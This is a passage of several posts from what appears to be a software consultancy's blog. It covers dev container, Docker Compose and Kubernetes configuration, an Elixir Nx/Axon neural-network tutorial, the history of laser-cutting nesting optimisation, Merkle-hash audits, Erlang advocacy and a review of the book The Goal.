"forwardPorts": This is an array of ports that will be forwarded from the dev container to the host machine. In this case, port 8080 is being forwarded, which is common for web development servers.

These are just some basic options. The devcontainer.json file can include many other options for more advanced scenarios, such as mounting volumes, setting environment variables, and even using Docker Compose to define multi-container environments.

Docker Compose: Orchestrating Multi-Container Environments

Docker Compose is a tool that simplifies the process of managing multi-container Docker applications. It allows you to define and run applications consisting of multiple Docker containers using a single, easy-to-read YAML file. This file, typically named docker-compose.yml, describes the services that make up your application so they can be run together in a single environment.

Let's consider a simple example. Suppose you're developing a web application that uses a database. Instead of running the web server and database server separately, you can use Docker Compose to run both services together.

Here's a basic docker-compose.yml file for such a scenario:

version: '3'
services:
  web:
    build: .
    ports:
      - "5000:5000"
  db:
    image: postgres
    volumes:
      - ./data:/var/lib/postgresql/data

In this file, we define two services: web and db. The web service is built using the Dockerfile in the current directory and is mapped to port 5000. The db service uses the postgres image and mounts the ./data directory to a specific path within the container.

To start the application, you would simply run docker-compose up from the directory containing the docker-compose.yml file. Docker Compose takes care of starting the services in the correct order, linking them together, and providing them with the necessary environment variables.

Docker Compose is a powerful tool for managing complex applications with multiple services. It's especially useful in development environments, where you often need to run multiple services together. By using Docker Compose, you can ensure that your development environment closely matches your production environment, reducing the chances of encountering unexpected issues when you deploy your application.

Minikube: A Miniature Kubernetes for Your Local Machine

Minikube is a tool that lets you run Kubernetes, a powerful platform for managing containerized applications, on your local machine. It's designed to be easy to use and is perfect for when you're developing applications that will eventually be deployed on a full-fledged Kubernetes cluster.

Let's revisit our web application and database example, but this time, we'll use Minikube and Kubernetes. The equivalent to a docker-compose.yml file in Kubernetes is a set of configuration files that define Kubernetes resources such as Pods, Services, and Deployments.

Here's a basic Kubernetes Deployment configuration for our web server:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: web
spec:
  replicas: 1
  selector:
    matchLabels:
      app: web
  template:
    metadata:
      labels:
        app: web
    spec:
      containers:
      - name: web
        image: my-web-app:latest
        ports:
        - containerPort: 5000

And here's a Service that makes the web server accessible on port 5000:

apiVersion: v1
kind: Service
metadata:
  name: web
spec:
  type: LoadBalancer
  ports:
  - port: 5000
    targetPort: 5000
  selector:
    app: web

For the database, we could use a similar Deployment and Service configuration, but with the postgres image and the appropriate ports and volumes.

To apply these configurations and start the application, you would use kubectl, the Kubernetes command-line tool, like so: kubectl apply -f web-deployment.yaml, kubectl apply -f web-service.yaml, and so on.

Minikube brings the power of Kubernetes to your local machine, making it easier to develop complex, multi-container applications. It's a bit more involved than Docker Compose, but it offers greater flexibility and is a great way to get hands-on experience with Kubernetes.

Wrapping Up: The Power of Dev Containers

We've covered a lot of ground in this article, but we've only just scratched the surface of what dev containers can do. From providing consistent, reproducible development environments, to simplifying the onboarding process and facilitating collaboration, dev containers offer a host of benefits that can streamline your development workflow.

To recap, here are some of the key advantages of using dev containers:

Consistency: Dev containers ensure that every developer is working in the same environment, eliminating the "but it works on my machine" problem.
Simplicity: With dev containers, setting up a new development environment is as easy as running a few commands. No need to install and configure a bunch of software manually.
Isolation: Dev containers keep your projects isolated from one another, preventing conflicts between different projects' dependencies.
Versatility: Whether you're using Dockerfiles, Docker Compose, or pre-built images from Docker Hub, dev containers offer a variety of ways to set up your environment.
Integration: Tools like Visual Studio Code's Dev Container feature make it easy to work with dev containers, integrating seamlessly with your existing workflow.

If you haven't already, I encourage you to give dev containers a try in your own projects. You might be surprised at how much they can improve your development experience.

And remember, if you need help setting up your dev container environments, Happi Hacking is here to assist. We offer dev container setup as a service, taking the hassle out of getting your environments up and running. Don't hesitate to reach out if you're interested.

Sometimes confinement can be freedom. Embrace the power of dev containers and see what they can do for you? Happy coding!

PS.

Here are some resources for further reading on dev containers:

Seamless Productivity with Mouse without Borders

2023-06-21T00:00:00Z

Greetings, fellow productivity enthusiasts! Today, I want to share a remarkable tool that has revolutionized the way I work from home. In a short video that I recorded, I'll walk you through the magic of Mouse without Borders, a feature-packed gem from Microsoft's PowerToys suite. Join me on this exciting journey as we explore how this nifty tool enhances my workflow and brings harmony to my dual-laptop setup.

In the video, you'll witness the seamless synergy between my trusty Happy Hacking laptop and my dedicated client laptop, gracefully displayed on my wide Samsung monitor. With Picture-in-Picture mode, I relish the joy of having two screens at my fingertips-a visual treat that fuels my productivity.

The Mouse without Borders enchantment takes center stage. As I move my mouse from my Happy Hacking laptop to my client laptop, the boundaries between the two dissolve. Thanks to this powerful tool, I effortlessly navigate between the realms of both machines. Whether I'm editing code in Emacs running on the Linux subsystem for Windows or swiftly copying and pasting between laptops, the ease of movement is simply unparalleled.

In this new era of hybrid work, where collaboration with both my company and my esteemed client is the norm, Mouse without Borders becomes my trusted companion. With the synchronization it brings, my two laptops merge into a harmonious workspace. A single mouse is all I need to traverse between my Happy Hacking laptop and my client laptop.

See for yourself in this video:

Neural Networks in Elixir

2023-06-19T00:00:00Z

Today was an exciting day as I embarked on a journey to explore the world of neural networks using Elixir. My goal is to leverage the power of the BEAM virtual machine and the functional programming paradigm to build a neural network model and for fun implement the layers in the network as a network of communicating processes.

Neural networks are a subset of machine learning algorithms modeled after the human brain. They are designed to recognize patterns and interpret sensory data through a kind of machine perception, labeling or clustering raw input. These algorithms can be used to recognize complex patterns, make predictions, or make decisions in a diverse range of applications including image and speech recognition, medical diagnosis, statistical arbitrage, learning to rank, and even in games. The networks themselves are composed of interconnected nodes or 'neurons', which are organized into layers. Each layer processes the input it receives and passes on a transformed version of the input to the next layer. This structure allows neural networks to learn from data and improve over time, making them a powerful tool in the field of artificial intelligence.

As it turns out the great developers in the Elixir community has already done almost all the work. I have been meaning to try this out for a long time but have not had the time to do it. But today I had a Sunday afternoon free and could choose between playing Diablo IV or doing som coding for fun.

I hope to revisit this topic in a future blog post, where I plan to enhance Axon's functionality by using processes and process communication instead of Elixir streams for the loops I don't expect it to be more efficient but I think it would be a fun and cool project to do.

Todays blog will be more of a beginners guide on how to do a basic set up and how to test that it works.

I am assuming lots of things, for example that you are running Ubuntu linux and have some development experience. This is more a guide for me, than for you as a reader, sorry ;).

Setting Up the Environment

The first step was to set up the development environment. I used asdf, a version manager that can manage multiple language runtime versions on a per-project basis.

Note that these steps are specific to Ubuntu and that I am running Ubuntu in WSL2 under Windows 11, your mileage may vary.

I cloned the asdf repository and added it to my shell profile:

git clone https://github.com/asdf-vm/asdf.git ~/.asdf --branch v0.12.0
echo -e '\n. "$HOME/.asdf/asdf.sh"' >> ~/.bashrc
echo -e '\n. "$HOME/.asdf/completions/asdf.bash"' >> ~/.bashrc
. ~/.bashrc

Next, I added Erlang and Elixir plugins to asdf and installed the versions I needed:

asdf plugin add erlang
asdf plugin add elixir
asdf install erlang 26.0.1
asdf install elixir main-otp-26

Creating a New Elixir Project

With the environment set up, I created a new Elixir project using the mix new command:

mix new test_nx
cd test_nx

Adding Dependencies

I added the necessary dependencies to the mix.exs file. I used Nx, a multi-dimensional tensors library for Elixir, and Torchx, a library that provides bindings for the LibTorch tensor library.

Nx is the Elixir tensor computation library that allows you to perform numerical computations, which are essential for building neural networks.

A tensor is a mathematical object that generalizes the concepts of scalars, vectors, and matrices to higher dimensions. It's essentially an array of numbers, arranged on a grid, with a variable number of axes. Tensors provide a natural and compact way of representing data and transformations of data in machine learning, physics, and many other fields. In the context of machine learning, tensors are particularly important because they efficiently represent and manipulate multi-dimensional data structures, such as images, which can be represented as 3D tensors (height, width, color channels), or text, which can be represented as 2D tensors (sequence length, word embeddings). The ability to work with tensors allows us to handle a wide range of complex data types, making them a fundamental building block in these fields.

Torchx is an Elixir binding to the popular Torch machine learning library which I in the future will use to bring in some of my old models from PyTorch to run on the BEAM instead.

defp deps do
  [
    {:nx, "~> 0.5"},
    {:torchx, "~> 0.5"}
  ]
end

Then, I fetched the dependencies:

mix deps.get

Exploring Nx

I started an IEx session with my Mix dependencies:

iex -S mix

I experimented with Nx by creating a tensor and performing some operations on it copied directly from the Nx documentation

iex> t = Nx.tensor([[1, 2], [3, 4]])
iex> Nx.divide(Nx.exp(t), Nx.sum(Nx.exp(t)))
#Nx.Tensor<
  f32[2][2]
  [
    [0.032058604061603546, 0.08714432269334793],
    [0.23688282072544098, 0.6439142227172852]
  ]
>

It worked!

Building a Neural Network with Axon

Axon is a deep learning library for the Elixir programming language. It provides a high-level, flexible API for defining neural network models in Elixir. Axon leverages the Nx library for tensor computations, which allows for efficient numerical computation that is essential in machine learning. The reason for using Axon in this context is its seamless integration with Elixir and the BEAM virtual machine, providing a functional approach to defining and training neural networks. It also supports automatic differentiation and GPU acceleration, which are crucial for training complex models efficiently.

I added Axon and Exla (and stb_image for a later step, and another blog) to my dependencies:

 defp deps do
    [
      # {:dep_from_hexpm, "~> 0.3.0"},
      # {:dep_from_git, git: "https://github.com/elixir-lang/my_dep.git", tag: "0.1.0"}
      {:nx, "~> 0.5"},
      {:torchx, "~> 0.5"},
      {:axon, "~> 0.5"},
      {:exla, "~> 0.5"},
      {:stb_image, "~> 0.5.2"}
    ]

Downloaded the dependencies and started Elixir:

mix deps.get
iex -S mix

To test this I used an example from the Axon examples.

This model is a simple XOR function that takes two binary inputs and outputs a single binary value. The model is trained using a batch of random binary inputs and their corresponding XOR results.

The XOR function, a fundamental operation in computing and digital logic, stands for "exclusive or", and it's a binary operation that takes two inputs. If exactly one of the inputs is true (or 1 in binary terms), it returns true (or 1). In all other cases (both inputs are false or both are true), it returns false (or 0).

In the context of this guide, the XOR function is used as a simple problem for the neural network to learn. It's a non-linear problem, meaning it can't be solved using simple linear methods, which makes it a good test for a neural network. The goal is to train the network to understand the XOR logic, i.e., given two binary inputs, it should output the correct XOR result. This serves as a basic proof of concept that the neural network is functioning correctly and can learn to approximate functions.

defmodule XOR do

require Axon

  defp build_model(input_shape1, input_shape2) do
    inp1 = Axon.input("x1", shape: input_shape1)
    inp2 = Axon.input("x2", shape: input_shape2)

    inp1
    |> Axon.concatenate(inp2)
    |> Axon.dense(8, activation: :tanh)
    |> Axon.dense(1, activation: :sigmoid)
  end

  defp batch do
    x1 = Nx.tensor(for _ <- 1..32, do: [Enum.random(0..1)])
    x2 = Nx.tensor(for _ <- 1..32, do: [Enum.random(0..1)])
    y = Nx.logical_xor(x1, x2)
    { %{"x1" => x1, "x2" => x2}, y }
  end

  defp train_model(model, data, epochs) do
    model
    |> Axon.Loop.trainer(:binary_cross_entropy, :sgd)
    |> Axon.Loop.run(data, %{}, epochs: epochs, iterations: 1000, compiler: EXLA)
  end

  def run do
    model = build_model({nil, 1}, {nil, 1})
    data = Stream.repeatedly(&batch/0)

    model_state = train_model(model, data, 10)

    IO.inspect(
      Axon.predict(model, model_state, %{"x1" => Nx.tensor([[0]]), "x2" => Nx.tensor([[1]])})
    )
  end

end

XOR.run()

Wrapping Up

After running the model, I got the following output:

18:39:39.689 [debug] Forwarding options: [compiler: EXLA] to JIT compiler

18:39:39.729 [info] TfrtCpuClient created.
Epoch: 0, Batch: 950, loss: 0.6493790
Epoch: 1, Batch: 950, loss: 0.5824046
Epoch: 2, Batch: 950, loss: 0.5003822
Epoch: 3, Batch: 950, loss: 0.4245099
Epoch: 4, Batch: 950, loss: 0.3641715
Epoch: 5, Batch: 950, loss: 0.3175022
Epoch: 6, Batch: 950, loss: 0.2810990
Epoch: 7, Batch: 950, loss: 0.2520537
Epoch: 8, Batch: 950, loss: 0.2284686
Epoch: 9, Batch: 950, loss: 0.2089621
#Nx.Tensor<
  f32[1][1]
  EXLA.Backend<host:0, 0.3871477933.15073302.157805>
  [
    [0.9698225259780884]
  ]
>

The model successfully learned the XOR function and was able to predict the output for the inputs [0] and [1].

It's so nice not to have to use Python for writing and running a model!

Today was a productive day, full of learning and exploration. I'm excited to continue my journey into the world of neural networks with Elixir.

Next, I will see if I can get CUDA to work so I can use my NVIDIA 3090 card for something useful...

... .But that's a story for another day.

AI Laser Metal Cutting - Part 3

2023-06-16T00:00:00Z

The Optimizer - part 3

Timeline: 2009-2020. Potentially reducing CO2 globally by 1%.

Cutting plan optimization as a service

There are some interesting challenges involved when automatically and non-interactively creating cutting plans for humans to accept. Some are related to how we optimize, others are related to how customers think and feel.

To mention but a few challenges:

What constitutes a "good" cutting plan. Humans are not logical creatures. Minimal cost may not be good enough, it has to "look good".
Providing cutting plan optimization as a service puts additional constraints on delivering production safe cutting plans.
How do you properly sort when you have multidimensional values. Weighted sum is not the way.
How to break down the optimization problem into smaller parts

If we produce a chaotic looking plan that has 10% lower cost than a organized plan that looks like it makes sense, you can be sure the human operator will reject the chaotic plan. They simply believe the risk of breaking the laser machine's cutting-head is too high (even though we know it is safe). A production stand-still is very costly. Convincing them is not really an option so one has to try to produce a cutting plan that looks good, for some definition of "looks good".

Multidimensional sorting is a concept that is useful in many cases and the basic idea is to group values based on some defined epsilon-function per dimension, recursively. This way you can express things like solution A and B differ in the number of parts placed, but have e.g. a better cutting path, so they should be in the same groups with regards to number of placed parts, but possibly B comes before A since B has better cutting-path cost. This is the way. It is also awesome for debugging.

On the topic of ordering things, we can easily imagine several measures for evaluating different properties of parts and clusters. For example, area-utility, a simple enough idea and one that seems meaningful. How much of the bounding box area is covered by a part's area. Even such simple things have funny properties, for instance, this measure can be interpreted as a circle being 78.54% square. One must take care to use the proper measures at the proper time and place and not draw the wrong conclusions. Indeed, circles and squares are very different when packing.

Our approach to solving the extra everything-2D-packing-problem, was to sort of do what humans do, only better, and in a cold hard computer way. To this end we created many clever algorithms for creating pairs of parts, clusters of parts, expandable patterns, columns and rows, lattices and more. We also created advanced algorithms for splitting large clusters (sometime you must break things), and specialized algorithms to fill empty areas such as holes or other empty areas. But we also optimized in phases to place larger parts over multiple sheets and so forth.

At the core of it all exists a fundamental practical representation of parts and how they interact with other parts allowing us to reason about it logically, a geometry constraint engine, a very reliable and high-precision no-fit-polygon algorithm, and a cutting path optimizer with its own sets of constraints. The result: we could produce cutting plans that far exceed normal nesting in performance, is more production reliable than cutting plans made by humans, and that in practice replaces the human as the nesting controller. This is a huge benefit to the industry.

In the end, due to Tomologic's patents being considered too general, some of Tomologic's ideas of clustering has spread and are now used by some of the more competent nesting softwares, although I imagine no other company has the same rigorous checks to guarantee production safety. Thanks to our ground breaking know-how, algorithms, and our unique way of regarding the 2D Nesting problem, Tomologic has contributed greatly to the reduction of CO2 in the metal cutting industry. I still believe that The Optimizer is the best fully-automatic production-safe AI-service for 2D packing in metal sheet cutting.

To paraphrase Zlatan: Dear World - you're welcome.

AI Laser Metal Cutting - Part 2

2023-06-15T00:00:00Z

The Optimizer - part 2

Timeline: 2009-2020. Potentially reducing CO2 globally by 1%.

2D packing - extra everything

Let's dive into the specifics. 2D packing, what is the actual problem we aim to solve?

For simplicity, assume we have 20 unique irregular polygons (without holes) of various shapes and sizes that all fit together on a single sheet with room to spare. Also, let's disallow rotations and flips, and assume we use a greedy left-bottom placement strategy; there are 20! (20! = 20•19•18•...1) ways to place these polygons (if we include symmetrical solutions). Each solution will result in some amount of waste, and typically the goal is trying to produce as short a horizon as possible, since after making a cut at the horizon there may be a useable part of the sheet left over to use down the line. You can naturally have both vertical and horizontal horizons, but that is just more of the same.

There is no reasonable approach that will let us place and evaluate all 20! orders of parts, this is why this is a hard problem (adding 1 more part makes the problem 21 times bigger). A typical packing problem could easily have hundreds of unique parts with up to thousands of copies each, resulting in a huge number of parts to be placed. This is why all software employs heuristic approaches when trying solve these problems.

Now, imaging allowing flips and rotations, and optimizing over multiple sheets. Fun!

At Tomologic we had a fundamentally different approach compared to 2D Nesting at the time. The core idea is to reduce the waste and cutting time as much as possible. We achieved this by incorporating some brilliant insights and knowledge of the the cutting process from the founder of Tomologic, a long time laser machine operator. Basically, we took his know-how and created algorithms to make it automatic and systematic. We created a knowledge-based AI system. He invented some brilliant methods for controlling heat conduction and cut part stability.

We removed assumption 1 (place parts individually) and 2 (cut parts independently) which, together with our proprietary cutting patterns, allowed us to create clusters of almost any shapes. Our algorithms and valuation models allowed us to compute an estimated multidimensional cost for a particular cluster of parts, taking into account how it needs to be split and cut to guarantee production safety without all that waste. The revolutionizing idea lies in our algorithms for controlling how heat spreads through the metal sheet and how to keep parts from moving and tilting during the cutting process, and taking this into account when creating the packing and cutting paths.

Thus we created an even more complicated 2D packing problem, where the cutting path is part of the packing problem and the cost of cutting a cluster of parts depends on where on the sheet it is placed since location impacts how to cut. This interdependency makes it so much harder. In addition to this, by removing assumption 1 and 2, we are also faced with a precision problem that traditional Nesting does not have - since we are cutting clusters of parts, we need to guarantee the cut parts are within acceptable tolerances when measured. When making a cut between two parts (not simply straight lines), this puts additional complexity on placement algorithms. Even when we do use safety distances, these are also optimized based on the characteristics of adjacent parts or clusters. We also needed a clever constraint engine to handle how parts interact and produce pockets of waste between them.

To make it better (and harder) we also allowed free rotations, where most Nesting allows rotations in discrete increments (e.g. 5 degrees). This basically makes our search space infinite, at least in theory, in a practical implementation rotations are limited by 64-bit floating point numbers.

So, how does one get any results at all given this daunting scope? You need a great team, a dash of creativity, and a lot of hard work.

AI Laser Metal Cutting - Part 1

2023-06-14T00:00:00Z

The Optimizer - part 1

Timeline: 2009-2020. Potentially reducing CO2 globally by 1%.

Intro

"We made an AI and attached it to a 6kW laser cutting machine!" ;).

On a more serious note. Discrete optimization problems are ubiquitous and you will find them in many domains. Laser cutting of sheet metal is no exception. Sheet metal cutting is a crucial part of the multi-billion-dollar metalworking industry, serving various sectors like automotive, aerospace, construction, electronics, and more. It's used for producing parts such as car body panels, aircraft components, building facades, electronic casings, and countless other metal parts. The optimization of this process is crucial, given the industry's size, to save on costs and reduce waste. Specifically the optimization of the placement of parts to be cut, on one or more sheets, is the problem we will touch on in these posts.

2D Nesting

The Nesting Problem in sheet metal cutting is similar to arranging as many gingerbread cookies as possible onto a baking sheet without any overlap, aiming to utilize the entire surface. Each cookie represents a part to be cut from the sheet, and the goal is to minimize the leftover or wasted dough (the unused metal), while fitting all the desired cookie shapes (metal parts). This is a complex task that involves deciding the best layout of the "cookies" to minimize waste.

The Nesting Problem is a type of 2D packing problem, a combinatorial optimization or discrete optimization problem. The problem becomes increasingly complex as the number of different parts and sizes increase. Solving this problem efficiently can lead to significant cost savings, by minimizing waste and maximizing the usage of raw materials. It also reduces the environmental impact by minimizing scrap metal.

The problem is further complicated by issues such as heat expanding the metal sheet, customers having requirements on the rotations and flipping of parts, and avoiding risks such as a part tilting and potentially destroying the cutting head causing expensive production outages. The side constraints are many and not always obvious.

Parts can also contain empty areas, or holes, inside the outer geometry that also can be used for placing smaller parts. Parts can generally have any rotation or flip transformation unless specifically disallowed.

This results in a truly mind-boggling search space, and not unsurprisingly this is one of the hardest problems in computer science, an NP-hard problem. Such fun!

Various algorithms and heuristic are used to tackle this problem, like the bottom-left placement algorithm, the best-fit algorithm, and metaheuristic algorithms such as Local Search, Simulated Annealing, Genetic Algorithms, and many many more. In practice, one often seeks to find a good enough solution that significantly reduces waste, even if it isn't the optimal solution.

During my time at Tomologic, I was fortunate to work with these very interesting and fun challenges that often gave rise to equally interesting and very often hard or at least tricky sub-problems, very rarely did anyone on the team go: "Well, that was easy!"

2D Nesting pre-Tomologic

After that brief introduction to Nesting, let's get into the actual issue at hand. Nesting, as it was (is?) used in the industry, produces an uncomfortable amount of waste due to some simplifications that are introduced to "solve" certain production requirements.

Assumption 1: Place parts individually. This is achieved by introducing a safety distance around each part. This ensures that parts do not get in the way of the cutting head, since that may cause damage to it, which would cause a production interruption associated with a high cost. This is incidentally also the root of the waste problem.
Assumption 2: Cut parts independently. The cutting path (how to move the laser cutting head), is basically just solving a (also NP-hard) Traveling Salesman Problem for each sheet since each part can be cut individually. There are naturally exceptions. Fun fact: when cutting many small parts you may actually want to cut in a way as to spread out the heat as much as possible, that is, not the shortest path.

These two simplifications allow the algorithms to use significant simplifications on how geometries are represented, and how the placement of parts is performed. Combined, this significantly reduces the computational effort needed to explore the search space.

In the next two parts, I will talk more about Tomologic's view of Nesting and how we solved a more involved problem to achieve up to 50% reduction in waste material and up to 30% reduction in cutting time.

Audits through Merkle Root Hashes

2023-06-09T00:00:00Z

When in doubt, sell shovels!

They say that during the gold rush only people who sold shovels made a fortune. We at Happi Hacking spent some time in the world of blockchains, learning how to build some pretty solid shovels. We took part in developing a blockchain (aeternity) from scratch, including a smart contract language (Sophia), a VM (FATE), and all other infrastructure needed for running a public blockchain.

So, where should we dig?

The underlying math and cryptography used for blockchains are pretty solid. The foundation didn't originate in the blockchain world. Blockchain technology is merely an application of algorithms that can be found elsewhere in cryptography, for example in SSL/TLS where it is used for encrypting internet traffic (the padlock in your browser). It is also used in GIT, in distributed databases etc.

Merkle tries at a glance

We implemented Patricia Merkle Tries for æternity, and I personally got a bit of a crush on this data structure. I won't even try to explain how they work, but for this story the important bit is that the contents of a Merkle tree can be represented by the Merkle hash (or root hash) in a way that is unfeasible to fake (because of cryptography). The Merkle trie can in turn contain a huge amount of data, making the root hash represent all this data.

One way of thinking of blockchains is that it is a distributed database, whose state is represented by the root hash of its content along with the history of transactions. The only way of changing the state of this database is to add blocks of transactions to the database, yielding a new root hash that represents the new state and the new history. This is not the whole truth, but it is a reasonable abstraction.

Merkle tries and accounts

So what is the content of the database? This is up to the blockchain, but in the case of crypto currencies, there will be balances in some representation included in the database. Are there other domains where this setup is applicable? Obviously in banks, but also for ledgers in accounting.

Accountability and audits

Imagine that a company stores all its customer-related transactions in a Merkle trie. It is not necessary to use this trie as the actual database for the application, e.g., if it becomes too slow for operational purposes, but as crucial events happens (e.g., Alice sends Bob some money) the events could be imported into the Merkle trie, yielding a new root hash.

It is a property of Merkle hashes that they do not expose the content of the trie, at least unless you happen to guess the content of the entire trie. This means that the root hashes can be published to authorities, customers or even to the general public, without exposing the actual balances.

So, what good is publishing the Merkle hashes if it doesn't tell us what is in the database?

Proof of Inclusion

A proof of inclusion is a cryptographically safe way of proving that some part of the Merkle trie looks in a certain way given a specific Merkle hash. For example, given a root hash, you can provide a proof of inclusion that shows that a specific account had a certain balance in the underlying Merkle trie. And this without exposing the balances of any other account.

If an external entity collects the published root hashes, they can be used in a later audit to follow flows of money between certain accounts without compromising the privacy of other account holders, and since the root hashes were published at the time they were constructed, there is no way for the auditee to change the history of its database.

Conclusion

While public blockchains in general might or might not have a future, the underlying technology is alive and kicking. We have hinted towards one solid use case, but there are others. To name a few:

Chain of custody applications
Auditing election results
Origin tracking of natural resources

If this blog post gave you some ideas, go ahead and contact us. We are always ready to build some new shovels!

It is never about technology - until it is

2023-06-06T00:00:00Z

In software development, there's a saying that I've come to appreciate:

It's never about technology - until it is.

It's a bit of a riddle, a paradox that seems to contradict itself. But as you dwell deeper into the world of code, systems, and digital solutions, you'll find that this statement holds a profound truth.

Let's break it down.

When we say, 'It's never about technology' we're acknowledging that at the heart of every software solution, every app, and every digital tool, we're trying to solve a human problem. We're not just writing code for the sake of writing code. We're creating solutions to make people's lives easier, to streamline processes, to bring joy, or to connect people. Technology is not the end goal; it's the means to an end.

But then we say, 'until it is'. This is where the paradox comes in. While our ultimate goal is to solve human problems, we can't ignore the technology itself. The tools we use, the systems we design, the code we write - they all matter. They're the vehicle that carries our solutions from concept to reality. And if that vehicle isn't built well, it won't get us where we need to go.

Let's look at two real-world examples. First, take Klarna, a Swedish fintech company, that had a simple idea: bring trust to e-commerce by providing a buy-now-pay-later service. (I wrote more about the Klarna installment plans project separately.) This idea wasn't about technology; it was about solving a problem. Merchants worried about getting paid, and customers worried about receiving what they ordered. Klarna's solution addressed both concerns in a very simple way: include a paper invoice in the delivery.

As Klarna grew they needed to handle an increasing number of transactions, maintain a robust service and deliver features quickly. That's where technology came into play. Fortunately, Klarna had chosen Erlang as the main technology for their online payment system.

Erlang allowed Klarna to rapidly prototype and test new features, thanks to its functional programming paradigm. It also provided robustness and scalability, critical for a company handling billions in payments. Klarna's success story isn't just about a great business idea; it's also about choosing the right technology to execute that idea.

Our other example is WhatsApp. It wasn't about groundbreaking technology; it was about providing a simple, reliable, and user-friendly platform for people to connect. And connect they did, in the billions!

WhatsApp had also wisely chosen Erlang to implement its secure messaging service. Erlang was the unsung hero, working tirelessly behind the scenes to ensure that every 'hello', every 'happy birthday', and every 'I love you' was delivered without a hitch. It allowed WhatsApp to manage billions of messages with a relatively small team of engineers, a feat that was nothing short of miraculous.

Erlang's functional programming paradigm allowed WhatsApp to rapidly prototype and test new features. It also provided the robustness and scalability needed to handle an ever-growing number of messages. WhatsApp's success story isn't just about a great business idea; it's also about choosing the right technology to execute that idea.

Let's not forget the unsung heroes - the people. People are the lifeblood of any organization. They are the ones who breathe life into technology, turning cold, hard code into vibrant, dynamic solutions. At HappiHacking, we're all about people. We believe that the right people, armed with the right tools, can create magic. And by magic, we mean robust, scalable, and efficient solutions that drive business growth.

But here's the challenge - how do we strike the perfect balance? How do we ensure that our focus on people doesn't overshadow the importance of business value or the role of technology? This is where we need a guiding principle, a compass to navigate the delicate balance between these crucial elements.

That is where the Happy Path Method comes in. It focuses on the positive outcomes, the 'happy paths', rather than getting bogged down by every possible thing that could go wrong. It's about fostering a positive mindset and creating solutions that work. It's about making the journey toward the solution as enjoyable as reaching the destination itself. And trust me, it's a game-changer!

The Happy Path Method is a unique approach that, contrary to its name, isn't about skipping through fields of daisies. It's a serious, business-focused methodology that emphasizes delivering value above all else. It's about understanding what success looks like for a business and then charting the most direct path to achieve that success.

It's easy to get lost in the weeds of technical details and potential edge cases. While it's important to consider these factors, they should not overshadow the ultimate goal - delivering value to the business. The Happy Path Method keeps this goal front and center. It's about identifying the core functionality that will deliver the most value, and focusing on implementing that functionality first and foremost.

This approach does not ignore potential problems or challenges. Instead, it acknowledges them but does not allow them to derail the development process. It's about maintaining a positive, solution-oriented mindset. It's about saying, 'Yes, we will likely encounter challenges along the way, but let's not allow those challenges to distract us from our primary goal.'

At HappiHacking, we've embraced the Happy Path Method in our work. We understand that our clients are not just looking for technical expertise; they're looking for partners who can help them realize their business goals. We focus on understanding our client's needs, identifying the solutions that will deliver the most value, and then implementing those solutions in the most efficient and effective way possible.

When it comes to technology our go-to tool is Erlang. If we can not use Erlang, we are also well-versed in most other programming languages, and we can take the Erlang philosophy with us to any environment.

Erlang comes with a set of tools and principles that make it easier to build robust, scalable, and maintainable applications. One of these principles is the idea of supervisors and independent processes.

In Erlang, a supervisor is a process that monitors other processes, known as worker processes. If a worker process encounters an error and crashes, the supervisor automatically restarts it. This means that even if a part of your system fails, the rest of it can continue to function normally. It's like having a safety net that catches you when you fall, allowing you to get back up and continue on your path.

This ties in beautifully with the Happy Path Method. When you're focusing on the happy path, you're focusing on the core functionality that delivers the most value. But what happens if an error occurs? That's where Erlang's supervisors come in. They ensure that even if a part of your system encounters an error, it doesn't derail your entire process. You can continue focusing on the happy path, knowing that the supervisors have got your back.

Moreover, Erlang's support for independent processes means that different parts of your system can operate concurrently and independently. If one process encounters an issue, it doesn't affect the others. This means you can continue delivering value through the other parts of your system, even when facing challenges.

In essence, Erlang and OTP provide a technical framework that supports the Happy Path Method. They allow you to focus on delivering value, without getting bogged down by errors or failures. They provide the resilience and reliability that let you keep your eyes on the prize - the happy path that leads to business success. At HappiHacking, we leverage these tools to help our clients navigate their path to success, one happy step at a time.

As for our services at HappiHacking, we're not just about coding. We're about creating solutions. We're about understanding your business needs and translating them into technology. We're about leveraging our expertise in Erlang, Elixir, Java, testing, DevOps, and other technologies to deliver solutions that are tailor-made for your business. From system architecture and design, to development and code reviews, we've got you covered. We're not just service providers; we're your partners in growth.

The next time you think about technology, remember - it's not just about the code. It's about the people who make the code work. It's about the methods that make the journey enjoyable.

So, yes, it's never technology - until it is. We must always remember the human problems we're solving, but we can't ignore the technology that helps us solve them. It's a delicate balance, a dance between two seemingly opposing forces. But when we get it right, when we find that sweet spot between problem and solution, between human and technology, that's when we create something truly remarkable.

When it comes to choosing a technology partner who understands your needs and delivers solutions that drive growth. Choose wisely, choose HappiHacking!

Book Review "The Goal - A Process of Ongoing Improvement" by Eliyahu M. Goldratt and Jeff Cox

2023-06-02T00:00:00Z

Book Review “The Goal: A Process of Ongoing Improvement" by Eliyahu M. Goldratt and Jeff Cox

The Goal: A Process of Ongoing Improvement

I am constantly reading and trying to learn new things. Since I started counting, in 2014, I have read over 400 books. One of the best ones I read recently, even though it is almost as old as I am, is The Goal.

In The Goal, the authors introduce the Theory of Constraints as a management philosophy, in the form of a novel. This makes it much more engaging and easier to understand than traditional business or management books. The story of Alex Rogo and his struggling plant helps me to relate to the concepts on a personal level. I especially enjoyed the 30th-anniversary audiobook edition with several voice actors.

The book introduces the Theory of Constraints (TOC), an at the time revolutionary management philosophy, that focuses on improving overall system performance by identifying and managing the system's constraints. This concept has been widely adopted in various fields, including manufacturing, project management, and software development.

The book is written as a story about a man named Alex Rogo. Imagine you're playing a game, but you're not sure what the goal is. You'd be confused, right? That's how Alex Rogo, the main character in "The Goal", felt about his job. He was running a big factory, but things weren't going well. The factory was losing money, and if Alex couldn't fix it, everyone would lose their jobs.

One day, Alex ran into his old physics teacher, Jonah. Jonah had a different way of looking at things. He told Alex that every big system, like a factory, has one part that slows everything else down. This slow part is called a "constraint". Jonah said that instead of trying to make every part of the factory work faster, Alex should focus on making the constraint work better.

Alex thought about what Jonah said and realized that one machine in his factory was slower than the others and was holding everything up. So, he and his team changed the way they worked to make sure this machine was always busy. And guess what? It worked! The factory started making money again, and everyone's jobs were saved.

The book also uses the Socratic Method; rather than directly telling Alex the solutions, Jonah asks probing questions that lead Alex to discover the answers on his own. This method not only provides solutions to problems but also fosters learning, critical thinking, and problem-solving skills.

While the book is set in a manufacturing context, the principles it introduces are relevant to any system or process. This has made the book popular not just among manufacturing professionals, but also among professionals in fields like software development, IT operations, project management, and more.

